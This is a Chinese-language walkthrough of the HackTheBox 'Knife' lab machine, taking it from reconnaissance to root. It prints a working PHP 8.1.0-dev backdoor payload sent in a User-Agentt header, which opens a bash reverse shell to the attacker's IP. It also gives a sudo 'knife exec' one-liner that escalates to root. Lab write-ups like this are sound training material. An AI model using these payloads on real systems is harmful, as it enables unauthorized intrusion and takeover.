HackTheBox-Knife

Hackthebox-Knife

Pwned

本机IP:10.10.16.6

目标IP:10.10.10.242

信息收集

nmap

nmap

开放了22和80端口,直接访问看看网站功能

web

上面导航栏是假的根本点不了,ctrl+u查看网页源代码,似乎就当前页面

Dirsearch

dirsearch

访问../login,和index.php一模一样

发现漏洞(PHP8.1.0-dev开发版本后门)

Burpsuite

发现请求头有问题

head

PHP/8.1.0-dev backdoor rce在某场CTF比赛里碰到过

攻击者可以通过发送User-Agentt头来执行任意代码(具体网上都能查到)

PHP810backdoor

反弹Shell

添加请求头User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.6/2333 0>&1'");

监听2333端口成功反弹shell

getshell

在james用户主目录得到user flag

userflag

提权

查看james用户的sudo权限

jamessudo

可以无密码运行/usr/bin/knife

Google上搜一下Knife ,发现是一个命令行工具

aboutKnife

sudo knife运行可以看到Knife的各种命令参数

knife

其中有一个exec 我们似乎可以利用

knifeexec

看一下用法

useexec

Knife exec有两个参数

-E CODE, –exec CODE

A string of code to be executed.

-p PATH:PATH, –script-path PATH:PATH

A colon-separated path at which Ruby scripts are located. Use to override the default location for scripts. When this option is not specified, knife will look for scripts located in chef-repo/.chef/scripts directory.

用 Ruby 代码执行 shell 脚本的方式放在参考链接第二个了,system的用法其实没啥区别

接下来可以提权了

1
sudo knife exec -E "system('/bin/sh -i')" //-i:实现脚本交互

可以看到我们已经拿到root的权限了

root

注意,如果shell没有升级情况如下,升级一下就行(另一台靶机记录里写过,姿势很多)

error

接下来可以去找root的flag了

rootflag

end

写在最后

最近渗透靶机做的多了,对整个流程也熟悉了起来,由于漏洞点比赛碰到过可能没怎么卡壳

本台靶机对我来说难点还是在提权吧,提权的方法和知识还是需要多多学习

Google搜索信息也是解题不可分割的一环,碰到没见过的东西要现学现用

参考链接

https://docs.chef.io/workstation/knife/

http://thelazylog.com/executing-shell-script-from-ruby-code/